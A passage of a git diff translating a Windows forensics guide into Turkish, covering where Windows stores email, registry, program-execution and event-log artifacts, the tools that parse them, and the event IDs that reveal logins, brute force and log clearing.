Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) aracıyla açabilirsiniz. ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OST Dosyaları -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya bir **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum 50GB** boyutundadır ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir. -### Retrieving Attachments +### Ekleri Kurtarma -Lost attachments might be recoverable from: +Kaybolan ekler şunlardan kurtarılabilir: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10 için**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11 ve üzeri için**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Thunderbird MBOX Dosyaları -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur. -### Image Thumbnails +### Görüntü Küçültmeleri -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP ve 8-8.1**: Küçültme içeren bir klasöre erişmek, silinmiş olsa bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur. +- **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden erişildiğinde oluşturulur. +- **Windows Vista ve daha yeni**: Küçültme önizlemeleri, `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` içinde **thumbcache_xxx.db** adında dosyalarla merkezi olarak saklanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir. -### Windows Registry Information +### Windows Kayıt Bilgileri -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windows Kayıt Defteri, kapsamlı sistem ve kullanıcı etkinlik verilerini saklar ve aşağıdaki dosyalarda bulunur: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`. +- `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`. +- Windows Vista ve sonraki sürümler, `HKEY_LOCAL_MACHINE` kayıt dosyalarını `%Windir%\System32\Config\RegBack\` içinde yedekler. +- Ayrıca, program yürütme bilgileri, Windows Vista ve Windows 2008 Server'dan itibaren `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` içinde saklanır. -### Tools +### Araçlar -Some tools are useful to analyze the registry files: +Kayıt dosyalarını analiz etmek için bazı araçlar faydalıdır: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Kayıt Defteri Düzenleyici**: Windows'ta yüklüdür. Mevcut oturumun Windows kayıt defterinde gezinmek için bir GUI'dir. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenizi ve GUI ile gezinmenizi sağlar. Ayrıca ilginç bilgiler içeren anahtarları vurgulayan Yer İmleri içerir. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenizi sağlayan bir GUI'ye sahiptir ve ayrıca yüklenen kayıt defterinde ilginç bilgileri vurgulayan eklentiler içerir. +- [**Windows Kayıt Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıt defterinden önemli bilgileri çıkarmak için başka bir GUI uygulamasıdır. -### Recovering Deleted Element +### Silinen Elemanı Kurtarma -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerektiği sürece kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür. -### Last Write Time +### Son Yazma Zamanı -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Her Anahtar-Değer, en son ne zaman değiştirildiğini gösteren bir **zaman damgası** içerir. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +**SAM** dosyası/hive, sistemin **kullanıcıları, grupları ve kullanıcı parolası** hash'lerini içerir. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye **ihtiyacınız vardır**. -### Interesting entries in the Windows Registry +### Windows Kayıt Defteri'ndeki İlginç Girişler {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Çalıştırılan Programlar -### Basic Windows Processes +### Temel Windows Süreçleri -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[Bu yazıda](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) şüpheli davranışları tespit etmek için yaygın Windows süreçleri hakkında bilgi edinebilirsiniz. -### Windows Recent APPs +### Windows Son Uygulamalar -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Kayıt defteri `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **çalıştırılan uygulama**, **son çalıştırma zamanı** ve **kaç kez** başlatıldığına dair bilgiler içeren alt anahtarlar bulabilirsiniz. -### BAM (Background Activity Moderator) +### BAM (Arka Plan Etkinlik Modaratörü) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgi bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz. ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Önceden alma, bir bilgisayarın, bir kullanıcının **yakın gelecekte erişebileceği içerikleri görüntülemek için gerekli kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklara daha hızlı erişilebilir. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows önceden alma, **çalıştırılan programların önbelleklerini** oluşturarak daha hızlı yüklenmelerini sağlar. Bu önbellekler, `C:\Windows\Prefetch` yolunda `.pf` dosyaları olarak oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Dosya adı `{program_name}-{hash}.pf` olarak oluşturulur (hash, yürütülebilir dosyanın yolu ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, **programın bir noktada çalıştırıldığını** gösterir. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +`C:\Windows\Prefetch\Layout.ini` dosyası, **önceden alınan dosyaların klasörlerinin adlarını** içerir. Bu dosya, **çalıştırma sayısı**, **çalıştırma tarihleri** ve program tarafından **açılan dosyalar** hakkında **bilgi** içerir. +Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz: ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch**, önceden yükleme ile aynı amaca sahiptir, **programları daha hızlı yüklemek** için neyin yükleneceğini tahmin eder. Ancak, önceden yükleme hizmetinin yerini almaz.\ +Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturur. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulabilirsiniz. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracıyla erişebilirsiniz. ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**Sistem Kaynak Kullanım İzleyici** (SRUM), **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmıştır ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar. -It gives the following information: +Aşağıdaki bilgileri sağlar: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID ve Yol +- Süreci çalıştıran kullanıcı +- Gönderilen Bayt +- Alınan Bayt +- Ağ Arayüzü +- Bağlantı süresi +- Süreç süresi -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Bu bilgiler her 60 dakikada bir güncellenir. +Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracıyla alabilirsiniz. ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**, ayrıca **ShimCache** olarak da bilinir, **Microsoft** tarafından uygulama uyumluluğu sorunlarını ele almak için geliştirilen **Uygulama Uyumluluk Veritabanı**nın bir parçasını oluşturur. Bu sistem bileşeni, aşağıdakiler de dahil olmak üzere çeşitli dosya meta verilerini kaydeder: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Dosyanın tam yolu +- Dosyanın boyutu +- **$Standard_Information** (SI) altında Son Değiştirilme zamanı +- ShimCache'in Son Güncellenme zamanı +- İşlem Çalıştırma Bayrağı -Such data is stored within the registry at specific locations based on the version of the operating system: +Bu tür veriler, işletim sisteminin sürümüne bağlı olarak kayıt defterinde belirli konumlarda saklanır: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında 96 giriş kapasitesi ile saklanır. +- Server 2003 için, ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için, depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 giriş kapasitesine sahiptir. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir. ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** dosyası, bir sistemde yürütülen uygulamalar hakkında ayrıntıları kaydeden temel bir kayıt defteri hivesidir. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çeker. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için çok değerlidir. +**Amcache.hve** dosyasından veri çıkarmak ve analiz etmek için, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ı **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için nasıl kullanacağınıza dair bir örnektir: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Üretilen CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sunar. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Üretilen en ilginç CVS dosyası `Amcache_Unassociated file entries`dir. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz. -### Scheduled tasks +### Planlı görevler -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz. -### Services +### Hizmetler -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Bunları `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanının içindedir. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Bu veritabanının Uygulama tablosunda, "Uygulama ID", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların ID'leri sıralı olmalıdır. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +Ayrıca, kayıt defteri yolunda yüklü uygulamaları bulmak da mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Ve **kaldırılmış** **uygulamaları**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -## Windows Events +## Windows Olayları -Information that appears inside Windows events are: +Windows olayları içinde görünen bilgiler şunlardır: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Ne oldu +- Zaman damgası (UTC + 0) +- İlgili kullanıcılar +- İlgili ana bilgisayarlar (ana bilgisayar adı, IP) +- Erişilen varlıklar (dosyalar, klasör, yazıcı, hizmetler) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Loglar, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta ve sonrasında **XML formatında** ve **.evtx** uzantısını kullanmaktadır. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +Olay dosyalarının yeri, **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** kayıt defterinde bulunabilir. -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir. -## Understanding Windows Security Event Logging +## Windows Güvenlik Olay Kaydını Anlamak -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasiteye ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir. -### Key Event IDs for User Authentication: +### Kullanıcı Kimlik Doğrulaması için Ana Olay ID'leri: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Bir kullanıcının başarıyla kimlik doğruladığını gösterir. +- **EventID 4625**: Bir kimlik doğrulama hatasını işaret eder. +- **EventIDs 4634/4647**: Kullanıcı çıkış olaylarını temsil eder. +- **EventID 4672**: Yönetici ayrıcalıklarıyla giriş yapıldığını belirtir. -#### Sub-types within EventID 4634/4647: +#### EventID 4634/4647 içindeki alt türler: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Etkileşimli (2)**: Doğrudan kullanıcı girişi. +- **Ağ (3)**: Paylaşılan klasörlere erişim. +- **Toplu (4)**: Toplu işlemlerin yürütülmesi. +- **Hizmet (5)**: Hizmet başlatmaları. +- **Proxy (6)**: Proxy kimlik doğrulaması. +- **Kilidi Açma (7)**: Şifre ile ekranın kilidinin açılması. +- **Ağ Düz Metin (8)**: Düz metin şifre iletimi, genellikle IIS'den. +- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgileri kullanımı. +- **Uzaktan Etkileşimli (10)**: Uzaktan masaüstü veya terminal hizmetleri girişi. +- **Önbellek Etkileşimli (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş. +- **Önbellek Uzaktan Etkileşimli (12)**: Önbellekli kimlik bilgileri ile uzaktan giriş. +- **Önbellekli Kilidi Açma (13)**: Önbellekli kimlik bilgileri ile kilidin açılması. -#### Status and Sub Status Codes for EventID 4625: +#### EventID 4625 için Durum ve Alt Durum Kodları: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Kullanıcı adı mevcut değil - Bir kullanıcı adı tahsis etme saldırısını gösterebilir. +- **0xC000006A**: Doğru kullanıcı adı ama yanlış şifre - Olası şifre tahmin etme veya kaba kuvvet denemesi. +- **0xC0000234**: Kullanıcı hesabı kilitlendi - Birden fazla başarısız girişle sonuçlanan bir kaba kuvvet saldırısını takip edebilir. +- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri. +- **0xC000006F**: İzin verilen zaman dışında oturum açma - Belirlenen giriş saatleri dışında erişim girişimlerini gösterir, yetkisiz erişim belirtisi olabilir. +- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir yerden giriş yapma girişimi olabilir. +- **0xC0000193**: Hesap süresi dolmuş - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri. +- **0xC0000071**: Süresi dolmuş şifre - Eski şifrelerle giriş girişimleri. +- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) göstergesi olabilir. +- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir. +- **0xC0000225**: Bir sistem hatasını gösterir, güvenlik sorunu değil. +- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olayların zaman çizelgesini belirsizleştirebilir. -#### EventID 6005 and 6006: +#### EventID 6005 ve 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını gösterir. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Silme**: Güvenlik loglarının temizlenmesi, genellikle yasadışı faaliyetleri örtbas etme için bir kırmızı bayraktır. -#### EventIDs for USB Device Tracking: +#### USB Cihaz Takibi için Olay ID'leri: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı. +- **10100**: USB sürücü güncellemesi. +- **EventID 112**: USB cihazının takılma zamanı. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Bu oturum açma türlerini simüle etmek ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +Olay detayları, durum ve alt durum kodları, özellikle Event ID 4625'te olay nedenleri hakkında daha fazla bilgi sağlar. -### Recovering Windows Events +### Windows Olaylarını Kurtarma -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilmektedir. -### Identifying Common Attacks via Windows Events +### Windows Olayları Aracılığıyla Yaygın Saldırıları Tanımlama -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Yaygın siber saldırıları tanımlamak için Windows Olay ID'lerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. -#### Brute Force Attacks +#### Kaba Kuvvet Saldırıları -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Birden fazla EventID 4625 kaydı ile tanımlanabilir, saldırı başarılı olursa ardından bir EventID 4624 kaydı gelir. -#### Time Change +#### Zaman Değişikliği -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +EventID 4616 ile kaydedilen sistem zamanındaki değişiklikler, adli analizleri karmaşıklaştırabilir. -#### USB Device Tracking +#### USB Cihaz Takibi -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +USB cihaz takibi için yararlı Sistem Olay ID'leri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir. -#### System Power Events +#### Sistem Güç Olayları -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 sistem başlangıcını, EventID 6006 ise kapanışı gösterir. -#### Log Deletion +#### Log Silme -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +Güvenlik EventID 1102, logların silindiğini belirtir, bu adli analiz için kritik bir olaydır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 